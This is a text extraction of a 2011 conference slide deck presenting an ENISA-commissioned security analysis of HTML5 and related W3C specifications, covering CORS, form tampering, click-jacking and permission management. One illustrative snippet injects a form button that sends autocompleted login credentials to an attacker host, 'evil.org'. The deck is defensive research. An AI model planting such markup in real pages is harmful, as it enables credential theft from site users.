security of html5 and accompanying specifications
DESCRIPTION
Security of HTML5 and accompanying specifications . Lieven Desmet [email protected] OWASP BeNeLux Days 2011 – 2/12/2011 . About myself. Lieven Desmet Research manager of the DistriNet Research Group ( K.U.Leuven , Belgium) DistriNet Research Group - PowerPoint PPT PresentationTRANSCRIPT
DistriNetLieven Desmet
[email protected] BeNeLux Days 2011 – 2/12/2011
Security of HTML5 and accompanying specifications
DistriNet
About myself
2
Lieven Desmet
Research manager of the DistriNet Research Group (K.U.Leuven, Belgium)
DistriNet Research Group70 researchers (10 professors)Secure Software & Distributed Software
DistriNet
Web Application Security Team
3
CSRF protection: CsFireFireFox extension37K+ download4000+ daily users
Secure Mashup CompositionHTML5 securityInformation Flow Control for JavascriptSecure Session Manangement
DistriNet4
OverviewIntroductionScope of the analysisMethodologyHTML5 security: Analysis resultsCross-specification resultsConclusions
DistriNet5IntroductionIntegration of third-party JavaScript
DistriNet6
Third-party JavaScript is everywhere
AdvertisementsAdhese ad network
Social webFacebook ConnectGoogle+TwitterFeedsburner
TrackingScorecardresearch
Web AnalyticsYahoo! Web AnalyticsGoogle Analytics
…
DistriNet7
Integration of third-party JavaScript
Two basic composition techniquesScript inclusion• Third-party script run’s in the execution context (i.e. origin) of
the embedding page• Script has access to all the sensitive operations in this context
(Sandboxed) iframe integration• Third-party component runs in a separate security context
(i.e. the origin of the third-party service provider)• Isolation between service provider and embedding page is
realised via the Same-Origin Policy
DistriNet8
Script inclusion vs iframe integration<html>
<body>
…
<script src=“http://3rdparty.com/script.js”>
</script>
…
</body>
</html>
<html>
<body>
…
<iframe src=“http://3rdparty.com/frame.html”>
</iframe>
…
</body>
</html>
3rd party
3rd party
DistriNet9Scope of the analysisHTML5 and accompanying specifications
DistriNet10
Specifications in scope
DistriNet11
W3C specifications in scopeHTML 5 specificationCross-domain communication
XML Http Request levels 1 and 2Uniform Messaging PolicyCross-Origin Resource Sharing
Inter-window communication
HTML5 Web Messaging
MediaMedia Capture API
Client-side storageWeb Storage
Device accessGeolocation API SpecificationSystem Information APIPermissions for Device API AccessDevice API Privacy Requirements
DistriNet12
Analysis of the specificationsA Security Analysis of Next Generation Web Standards
Commissioned by European Network and Information Security Agency (ENISA)Performed by DistriNet Research Group
Full report available at http://www.enisa.europa.eu/html5
DistriNet13
Methodology
DistriNet14
MethodologyIterative and repeatable process
Applied to 13 specifications in scope1000+ pages of specification!
Analysis driven by four security questionsResults were captured in three steps
Specification summaryAnalysis result of specification in isolationCross-specification analysis results
DistriNet15
Scope Focus on newly introduced features
No specific focus for classic issues• E.g. XSS vectors, session management• Included when relevant for new features Already extensive work on XSS attack
vectors• See html5sec.org
DistriNet16
Assets and attacker modelAssets:
Application-specific data and functionality• Page content, DOM elements, JavaScript code, …
End-user data and identity• Cookies, local storage, user/media input, geolocation, …
Contextual Data• Device/sensor information, geolocation, referer, origin, …
Attacker model1
Web attacker• has control over one or more malicious website(s)
Gadget attacker• has control over 3rd party JavaScript content, embedded via an integrator
1Based on attacker types used by Barth et al. in ‘Securing frame communication in browsers’ (USENIX Security Symposium 2008)
DistriNet17
Four security questionsSQ1: Are the security-relevant aspects of the newly introduced capabilities well-defined and secure?
privacy problems, unprotected features, …
SQ2: Do the new specifications violate isolation properties between origins or restricted contexts?
sandboxes or private browsing mode
SQ3: Is the new specification consistent with other specifications?Permission management, ways to access information, …
SQ4: How do the security measures of the specification rely on the user making correct security decisions?
which decisions does the user have to make
DistriNet18
3-step analysisStep 1: Security-focused study of the specification in isolation:
Capabilities: enlisting functional capabilities offered by the specUser Involvement: how and when is the user involved in granting accessSecurity/privacy considerations: both explicit and implicit considerations
Step 2: Identification of specification-specific threats and underspecified behavior
Step 3: identification of cross-specification issues:Inconsistencies between the specificationsInteraction of features across specifications
DistriNet19
Analysis sample: Geolocation APICapabilities:
Access to the current locationBoth one-shot and monitoring
Security and PrivacyConsent is required!Spec already explicitly mentions several privacy considerations• Recipients must not retransmit the location information• The UA should add location sharing-awareness
(version: 07 sept. 2010)
DistriNet20
Analysis sample: Geolocation API (1)
Threat: Cache PollingLocation retrieval from cache can be forced
Using a maxAge attribute, the age of the location can be determined
Underspecification: Monitoring LifetimeThe location can be monitored with a “watch process”This process can be canceled
Does it disappear if the document no longer exists?
DistriNet21
Analysis sample: Geolocation API (2)
Underspecification: Behavior in restricted contexts
Can sandboxed document request location?• Which origin is used in the consent UI?• Can the permission be stored?Private browsing mode?• Are stored permissions valid?• If a permission is obtained in private browsing
mode, can it be stored?
DistriNet22
Analysis sample: Geolocation API (3)
User Involvement: Permission management
UI elements• The UI has to mention the originThe UI does not have to indicate the nature of
the permission (one-shot or monitoring)Long-term permission management• Vaguely specified: “should be easily revocable”• In practice: non-intuitive implementation
DistriNet23
Non-Intuitive Implementation (Firefox)
DistriNet24
Analysis results
Well-defined /
SecureIsolation
Properties Consistency User Involvement
HTML5 8 3 2 2Web Messaging 1 2XMLHttpRequest 1 + 2 1CORS 2 1UMPWeb Storage 3 1 1Geolocation API 5 1 1 1Media Capture API 3System Information API 3 1 1 2Widgets - Digital Signatures 2Widgets - Access Req Policy 3 1Total 25 8 10 8
DistriNet25
HTML5 security: Analysis results
DistriNet26
Some identified threatsCORS: Interaction with legacy servers HTML5: Form Tampering HTML5: Disabling Click-jacking Protection HTML5: Protocol/content Handlers…
DistriNet27
CORS: Interaction with legacy servers
Cross-Origin Resource Sharing Allows cross-origin XMLHttpRequest• Supply Origin header to server• Server optionally includes permission header• Browser only gives access to response if
permission header is present Preflight for complex POST / PUT / DELETE• First check with OPTIONS if request is allowed• Only then send the actual request
DistriNet28
Detailed Analysis: CORS Legacy Servers
Protect legacy servers Not CORS aware, so no response headers• No access to response No more capabilities than with HTML• Allows cross-origin GET/POST• Restricted by form capabilities
DistriNet29
Detailed Analysis: CORS Legacy Servers
Legacy servers not always protected Forms are bound to key=value body format• XHR is not
Many formats contain =, so can still be sent as a form
Servers using format without = are not protected• E.g. JSON API?
<input type=“text” name=“BEGIN:VCALENDARVERSION:2.0…;CN” value=“John Doe:…”/>
DistriNet30
Detailed Analysis: CORS Legacy Servers
Protecting legacy servers Check format of body• Must match content type• No more capabilities than normal forms
DistriNet31
HTML5: Form Tampering
Controls can occur outside form element Associated with a form • Nearest form or form attribute Supports valid nesting of forms<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /></form>
<input form=“myform” type=“submit” name=“…” value=“Advanced Version”/>
DistriNet32
Detailed Analysis: Form Tampering
Attributes can modify form behavior Only applies to submission controls Change action, enctype, method,
novalidate and target<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” required /></form>
<input form=“myform” type=“submit” name=“…” value=“Advanced Version” novalidate />
DistriNet33
Detailed Analysis: Form Tampering
Example: page containing login form Often autocompleted by browser Credentials submitted to server
<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>
DistriNet34
Detailed Analysis: Form Tampering
Example: page containing login form Also displays user supplied data• Naturally, XSS content filtering is in place!
Malicious user injects plain HTML code
Evil page records credentials• Automatically submits form to original destination
New VIP section of the site is open!<input form=“login” type=“submit”
name=“Enter VIP section” formaction=“http://evil.org/login.php” />
DistriNet35
HTML5: Disabling Click-jacking Protection
Some state-of-practice click-jacking defense techniques use javascript to navigate top-level window
if (self != top) {top.location = self.location; }By using a sandboxed iframe, an attacker can
disable top-level navigationforce a page to be framed
DistriNet36
HTML5: Protocol/content Handlers
Sites can register as a handler for a protocol (e.g. sms://) for a MIME type (e.g. application/pdf)
Every matching URL is sent to handler restrictions are mentioned• Only idem-potent requests, no HTTPS, no
authentication credentials …
Actual implementation up to user agents
DistriNet37
Protocol / Content HandlersActual implementation …
Asking for permission is optional Overriding existing schemes (e.g. HTTP(S)) is not recommended Overwriting defaults is not recommended The title property should not be relied upon• A title can be used to indicate the purpose
Tricking the user into installing a handler
Installing a handler to hijack all/a lot of traffic
DistriNet38
Cross-specification results
DistriNet39
Cross-specification resultsInconsistencies in permission managementUnderspecification for restricted contexts (sandbox/private browsing mode)
DistriNet40
Heterogeneity in permissions
Consent Multiple Types
Based On Storable Manageable
Offline Applications
yes no unknown unknown yes
Scheme/content handlers
yes no Scheme / Content Type
yes yes
Web Storage no - Origin - yesGeolocation API yes yes Origin yes yesMedia Capture API yes no unknown no noSystem Information API
yes yes Origin yes yes
Geolocation API Per origin, one-shot + monitor, persistency possible
System Information API Per origin (pairs), one-shot + monitor, persistency possible
DistriNet41
Need for consistent Permission Mgmt
Permission base and typesUse the same permission base Different permission properties remain• Persistency, one-shot vs monitoring, …
Enforce the same UI reqsMandatory dialog elementsAwareness indicatorsManagement interface
DistriNet42
Solution: Dedicated Permission API ?
Specifies different permission typesReference from other APIs
Indicate which permission types are applicable
Already work in progress: Feature Permissions (W3C)
Specifies how to request permissionsNo mention about UI requirements
DistriNet43
Privacy Mode Browsing without a trail
aka Private Browsing Mode, InPrivate browsing, Incognito mode Prevents access to locally stored data• Cookies, Web Storage, Databases, … Ensures no data stored after leaving
privacy mode
DistriNet44
Privacy Mode Unspecified!
Not part of any official specification Implemented by all major browsers• Freedom to choose concrete implementation• Different visions on privacy mode
A site can find (vendor-specific) ways to share information between normal mode and privacy modeFirefox allows a site to reuse a permission, granted in
a normal context, in a private browsing context
DistriNet45
Conclusion
DistriNet46
ConclusionTons of new features will become available to third-party JavaScriptAnalysis results
Overal quality of the specification is quite OKLimited number of threats identifiedLack consistency in permission management, user consentUnderspecification in restricted contexts
Only coarse-grained control over available APIs
DistriNet47
Next stepsIssues have been communicated with W3C and on specification mailinglistsTranslating knowledge in security guidelines for developers and website ownersEvaluating the browser compliance towards the specifications
DistriNet48
More info…A Security Analysis of Next Generation Web Standards
Full report available at the ENISA: http://www.enisa.europa.eu/html5